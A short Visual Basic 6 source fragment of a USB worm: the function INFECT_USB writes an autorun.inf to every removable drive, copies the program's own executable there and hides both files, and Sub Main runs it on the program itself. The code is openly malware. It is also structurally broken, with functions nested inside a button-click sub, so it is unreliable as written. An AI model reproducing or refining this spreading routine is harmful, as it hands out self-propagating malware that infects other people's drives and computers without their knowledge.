Private Sub Command1_Click()
Public Function INFECT_USB(YOL As String, AD As String)
Dim ABC, DEFGHIJKL, MNOPQR

Set ABC = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
Set DEFGHIJKL = ABC.DRIVES
For Each MNOPQR In DEFGHIJKL
If MNOPQR.DRIVETYPE = 1 Then

If Right(YOL, 1) <> "\" Then YOL = YOL & "\"

If DosyaVarmi(MNOPQR & "\autorun.inf") Then
SetAttr MNOPQR & "\autorun.inf", 0
Kill MNOPQR & "\autorun.inf"
End If

Open MNOPQR & "\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbCrLf & _
"open=" & MNOPQR & "\" & AD
Close #1

If Not DosyaVarmi(MNOPQR & "\" & AD) Then
FileCopy YOL & AD, MNOPQR & "\" & AD
End If

SetAttr MNOPQR & "\" & AD, 4
SetAttr MNOPQR & "\autorun.inf", 4
SetAttr MNOPQR & "\" & AD, 2
SetAttr MNOPQR & "\autorun.inf", 2
End If
Next

End Function

Public Function DosyaVarmi(DosyaAdi As String) As Boolean
On Error GoTo DosyaYok
Call FileLen(DosyaAdi)
DosyaVarmi = True
Exit Function
DosyaYok:
End Function

Sub Main()
INFECT_USB App.Path, App.EXEName & ".exe"
End Sub

End Sub